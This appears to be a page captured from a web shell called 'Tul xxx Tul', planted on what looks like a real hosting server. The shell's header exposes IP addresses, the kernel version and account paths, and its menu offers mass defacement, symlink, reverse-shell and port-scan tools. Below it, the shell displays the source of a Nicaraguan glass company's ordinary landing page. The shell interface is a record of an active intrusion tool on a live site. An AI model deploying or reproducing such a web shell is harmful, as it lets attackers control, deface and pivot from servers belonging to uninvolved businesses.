Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vidrieria
/
Viewing: index.html
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Vidriería Glass Solutions</title> <meta name="theme-color" content="#0b1726"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css"> <link rel="stylesheet" href="public/css/styles.css"> <link rel="icon" type="image/png" href="public/img/logo.png"> <link rel="manifest" href="public/manifest.json"> </head> <body> <header> <nav class="navbar navbar-expand-lg navbar-light bg-white fixed-top shadow-sm"> <div class="container"> <a class="navbar-brand d-flex align-items-center gap-2" href="#inicio"> <img src="public/img/logo_negro_portada.png" alt="Vidriería Glass Solutions"> </a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarNav"> <ul class="navbar-nav ms-auto align-items-lg-center gap-lg-3"> <li class="nav-item"><a class="nav-link" href="#inicio">Inicio</a></li> <li class="nav-item"><a class="nav-link" href="#productos">Productos</a></li> <li class="nav-item"><a class="nav-link" href="#galeria">Galería</a></li> <li class="nav-item"><a class="nav-link" href="#contacto">Contacto</a></li> <li class="nav-item"> <a class="btn btn-gradient" href="public/?controller=Auth&action=index"> <i class="bi bi-box-arrow-in-right"></i> <span>Ingresar al sistema</span> </a> </li> </ul> </div> </div> </nav> </header> <main class="pt-5" id="inicio"> <section class="hero"> <div id="heroCarousel" class="carousel slide carousel-fade w-100" data-bs-ride="carousel"> <div class="carousel-inner"> <div class="carousel-item active" data-bs-interval="5000" data-caption="Innovación en vidrio para cada espacio"> <img src="public/img/1.jpg" class="d-block w-100" alt="Vidriería proyecto 1"> </div> <div class="carousel-item" data-bs-interval="5000" data-caption="Diseños que reflejan tu estilo con precisión"> <img src="public/img/2.jpg" class="d-block w-100" alt="Vidriería proyecto 2"> </div> <div class="carousel-item" data-bs-interval="5000" data-caption="Instalaciones seguras para hogares y negocios"> <img src="public/img/3.jpg" class="d-block w-100" alt="Vidriería proyecto 3"> </div> <div class="carousel-item" data-bs-interval="5000" data-caption="Transparencia y elegancia en cada proyecto"> <img src="public/img/4.jpg" class="d-block w-100" alt="Vidriería proyecto 4"> </div> </div> <button class="carousel-control-prev" type="button" data-bs-target="#heroCarousel" data-bs-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="visually-hidden">Anterior</span> </button> <button class="carousel-control-next" type="button" data-bs-target="#heroCarousel" data-bs-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="visually-hidden">Siguiente</span> </button> </div> <div class="hero-content text-white"> <h1 id="heroHeadline" data-default-caption="Innovación en vidrio para cada espacio">Innovación en vidrio para cada espacio</h1> </div> </section> <section class="py-5 py-lg-6" id="productos"> <div class="container"> <div class="section-title"> <h2>Nuestros productos</h2> <p>Explora los servicios y soluciones que ofrecemos para transformar tus espacios con estilo y seguridad.</p> </div> <div class="row g-4" id="productos-grid"> <!-- Productos dinámicos --> </div> </div> </section> <section class="py-5 bg-light" id="galeria"> <div class="container"> <div class="section-title"> <h2>Galería de proyectos</h2> <p>Un vistazo a algunos de nuestros trabajos más recientes y destacados.</p> </div> <div id="galeria-grid"> <!-- Galería dinámica --> </div> <div id="galleryLightbox" class="gallery-lightbox" hidden> <button type="button" class="lightbox-close" aria-label="Cerrar imagen"> <i class="bi bi-x-lg"></i> </button> <img id="galleryLightboxImage" src="" alt="Vista ampliada de proyecto"> </div> </div> </section> <section class="py-5" id="contacto"> <div class="container"> <div class="contact-section"> <div class="row g-4 align-items-center"> <div class="col-lg-6"> <h2 class="fw-bold mb-3">Nos encanta trabajar contigo</h2> <p class="text-muted mb-4">Permítenos asesorarte en tu próximo proyecto. Nuestro equipo está listo para ofrecer soluciones a medida con materiales de primera calidad.</p> <ul class="contact-info list-unstyled"> <li> <i class="bi bi-telephone"></i> <span>+505 5707 0945</span> </li> <li> <i class="bi bi-geo-alt"></i> <span>Laurel, Galán, Nicaragua.</span> </li> <li> <i class="bi bi-clock"></i> <span>Lunes a Viernes 8:00 am - 6:00 pm</span> </li> <li> <i class="bi bi-clock-history"></i> <span>Sábado y Domingo: Cerrado</span> </li> </ul> <div class="contact-social mt-3 d-flex align-items-center gap-2"> <a class="btn-contact-social whatsapp" href="https://wa.me/50557070945" target="_blank" rel="noopener"> <i class="bi bi-whatsapp"></i> </a> <a class="btn-contact-social facebook" href="https://www.facebook.com/share/1FvzSwXdyz/?mibextid=wwXIfr" target="_blank" rel="noopener"> <i class="bi bi-facebook"></i> </a> <a class="btn-contact-social tiktok" href="https://www.tiktok.com/@glass.solutions45?_r=1&_t=ZM-91JSJfnXP47" target="_blank" rel="noopener"> <i class="bi bi-tiktok"></i> </a> </div> </div> <div class="col-lg-6"> <div class="contact-card"> <h3>Solicita una cotización</h3> <p>Envíanos los detalles de tu proyecto y uno de nuestros asesores te contactará.</p> <form class="row g-3"> <div class="col-md-6"> <label for="contactName" class="form-label">Nombre completo</label> <input type="text" class="form-control" id="contactName" placeholder="Tu nombre" required> </div> <div class="col-md-6"> <label for="contactPhone" class="form-label">Teléfono</label> <input type="tel" class="form-control" id="contactPhone" placeholder="Número de contacto" required> </div> <div class="col-12"> <label for="contactMessage" class="form-label">Mensaje</label> <textarea class="form-control" id="contactMessage" rows="4" placeholder="Cuéntanos sobre tu proyecto" required></textarea> </div> <div class="col-12"> <button type="submit" class="btn btn-gradient w-100"> <i class="bi bi-send"></i> Enviar mensaje </button> </div> </form> </div> </div> </div> </div> </div> </section> </main> <footer class="footer"> <div class="container"> <div class="row align-items-center"> <div class="col-md-6 text-center text-md-start"> <p class="mb-0">© 2025 Vidriería Glass Solutions. Todos los derechos reservados.</p> </div> <div class="col-md-6 text-center text-md-end"> <p class="mb-0">Desarrollado por <a href="https://aircan.me/" target="_blank" rel="noopener" class="footer-dev-link">Aircan</a></p> </div> </div> <div class="row mt-3"> <div class="col text-center"> <button id="btnInstallApp" class="btn btn-install-app d-none" type="button"> <i class="bi bi-download"></i> <span>Instalar</span> </button> </div> </div> </div> </footer> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script> <script> const productosGrid = document.getElementById('productos-grid'); const galeriaGrid = document.getElementById('galeria-grid'); const heroCarouselEl = document.getElementById('heroCarousel'); const heroHeadline = document.getElementById('heroHeadline'); const whatsappNumber = '50557070945'; const galleryLightbox = document.getElementById('galleryLightbox'); const galleryLightboxImage = document.getElementById('galleryLightboxImage'); const galleryLightboxClose = galleryLightbox?.querySelector('.lightbox-close'); const contactForm = document.querySelector('#contacto form'); const installButton = document.getElementById('btnInstallApp'); let deferredInstallPrompt = null; const registerServiceWorker = () => { if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/service-worker.js').catch((error) => { console.error('Error al registrar el Service Worker:', error); }); } }; const inicializarInstalacionPwa = () => { if (!installButton) { return; } const ocultarBoton = () => { installButton.classList.add('d-none'); installButton.disabled = false; }; window.addEventListener('beforeinstallprompt', (event) => { event.preventDefault(); deferredInstallPrompt = event; installButton.classList.remove('d-none'); installButton.disabled = false; }); installButton.addEventListener('click', async () => { if (!deferredInstallPrompt) { return; } installButton.disabled = true; deferredInstallPrompt.prompt(); const { outcome } = await deferredInstallPrompt.userChoice; if (outcome === 'accepted') { ocultarBoton(); } else { installButton.disabled = false; } deferredInstallPrompt = null; }); window.addEventListener('appinstalled', () => { deferredInstallPrompt = null; ocultarBoton(); }); if (window.matchMedia('(display-mode: standalone)').matches || window.navigator.standalone) { ocultarBoton(); } }; const formatoPrecio = (valor) => new Intl.NumberFormat('es-NI', { style: 'currency', currency: 'NIO' }).format(valor ?? 0); const crearProductoCard = (producto) => { const caracteristicas = (producto.caracteristicas || '').split(/\r?\n/).filter(Boolean); const titulo = producto.titulo || 'Producto sin título'; const precioFormateado = formatoPrecio(producto.precio); const mensaje = encodeURIComponent(`Hola Glass Solutions, me interesa el producto "${titulo}" (precio ${precioFormateado}). ¿Podrían ayudarme a realizar mi pedido?`); const whatsappLink = `https://wa.me/${whatsappNumber}?text=${mensaje}`; return ` <div class="col-12 col-sm-6 col-lg-4 col-xl-3"> <div class="card product-card h-100"> <img class="product-card-img" src="${producto.imagen || 'public/img/1.jpg'}" alt="${titulo}"> <div class="card-body d-flex flex-column"> <div class="d-flex justify-content-between align-items-start mb-2"> <h5 class="card-title mb-0">${titulo}</h5> <span class="badge ${producto.estado === 'Disponible' ? 'bg-success' : 'bg-secondary'}">${producto.estado}</span> </div> <p class="product-price mb-2">${precioFormateado}</p> ${caracteristicas.length ? ` <ul class="product-features"> ${caracteristicas.slice(0, 5).map(item => `<li>${item}</li>`).join('')} </ul> ` : '<p class="text-muted mb-2">Sin características detalladas.</p>'} <a class="btn btn-order mt-auto" href="${whatsappLink}" target="_blank" rel="noopener"> <i class="bi bi-whatsapp"></i> <span>Ordenar</span> </a> </div> </div> </div> `; }; const crearGaleriaCard = (item) => ` <figure class="gallery-item"> <img src="${item.archivo || 'public/img/2.jpg'}" alt="Proyecto vidriería"> </figure> `; const inicializarGaleriaInteractiva = () => { if (!galeriaGrid || !galleryLightbox || !galleryLightboxImage) { return; } const abrirLightbox = (src, alt) => { galleryLightbox.hidden = false; galleryLightboxImage.src = src; galleryLightboxImage.alt = alt || 'Proyecto vidriería'; requestAnimationFrame(() => galleryLightbox.classList.add('active')); }; const cerrarLightbox = () => { galleryLightbox.classList.remove('active'); const onTransitionEnd = (event) => { if (event.target !== galleryLightbox) { return; } galleryLightbox.hidden = true; galleryLightboxImage.src = ''; galleryLightbox.removeEventListener('transitionend', onTransitionEnd); }; galleryLightbox.addEventListener('transitionend', onTransitionEnd); }; galeriaGrid.addEventListener('click', (event) => { const item = event.target.closest('.gallery-item'); if (!item) { return; } const imagen = item.querySelector('img'); if (!imagen) { return; } abrirLightbox(imagen.src, imagen.alt); }); galleryLightbox.addEventListener('click', (event) => { if (event.target === galleryLightbox) { cerrarLightbox(); } }); galleryLightboxClose?.addEventListener('click', cerrarLightbox); document.addEventListener('keydown', (event) => { if (event.key === 'Escape' && galleryLightbox.classList.contains('active')) { cerrarLightbox(); } }); }; const inicializarFormularioContacto = () => { if (!contactForm) { return; } contactForm.addEventListener('submit', (event) => { event.preventDefault(); const nombre = contactForm.querySelector('#contactName')?.value.trim() || 'Cliente interesado'; const telefono = contactForm.querySelector('#contactPhone')?.value.trim() || 'Sin teléfono proporcionado'; const mensaje = contactForm.querySelector('#contactMessage')?.value.trim() || 'Quisiera más información sobre sus servicios.'; const texto = `Hola, mi nombre es ${nombre}.%0A` + `Teléfono: ${telefono}.%0A%0A` + `Mensaje:%0A${encodeURIComponent(mensaje)}`; const enlace = `https://wa.me/${whatsappNumber}?text=${texto}`; window.open(enlace, '_blank'); }); }; const cargarProductos = async () => { try { const respuesta = await fetch('public/api/productos.php', { cache: 'no-store' }); const { success, data } = await respuesta.json(); if (!success) { throw new Error('Respuesta inválida'); } if (!data.length) { productosGrid.innerHTML = ` <div class="col-12"> <div class="alert alert-info text-center">Aún no hay productos registrados. Vuelve pronto.</div> </div> `; return; } productosGrid.innerHTML = data.map(crearProductoCard).join(''); } catch (error) { productosGrid.innerHTML = ` <div class="col-12"> <div class="alert alert-danger text-center">No se pudieron cargar los productos en este momento.</div> </div> `; } }; const cargarGaleria = async () => { try { const respuesta = await fetch('public/api/galeria.php', { cache: 'no-store' }); const { success, data } = await respuesta.json(); if (!success) { throw new Error('Respuesta inválida'); } if (!data.length) { galeriaGrid.innerHTML = ` <div class="alert alert-info text-center">Aún no hay imágenes en la galería.</div> `; return; } galeriaGrid.innerHTML = data.map(crearGaleriaCard).join(''); } catch (error) { galeriaGrid.innerHTML = ` <div class="alert alert-danger text-center">No se pudo cargar la galería en este momento.</div> `; } }; const inicializarHeroCaptions = () => { if (!heroCarouselEl || !heroHeadline) { return; } const defaultCaption = heroHeadline.dataset.defaultCaption || heroHeadline.textContent; const obtenerCaption = (item) => item?.dataset?.caption || defaultCaption; const actualizarTexto = (caption) => { heroHeadline.textContent = caption; requestAnimationFrame(() => { heroHeadline.classList.remove('caption-changing'); }); }; const establecerInicial = () => { const activo = heroCarouselEl.querySelector('.carousel-item.active'); actualizarTexto(obtenerCaption(activo)); }; heroCarouselEl.addEventListener('slide.bs.carousel', () => { heroHeadline.classList.add('caption-changing'); }); heroCarouselEl.addEventListener('slid.bs.carousel', (event) => { const caption = obtenerCaption(event.relatedTarget); actualizarTexto(caption); }); establecerInicial(); }; document.addEventListener('DOMContentLoaded', () => { cargarProductos(); cargarGaleria(); inicializarHeroCaptions(); inicializarGaleriaInteractiva(); inicializarFormularioContacto(); registerServiceWorker(); inicializarInstalacionPwa(); }); </script> </body> </html>
Coded With 💗 by
0x6ick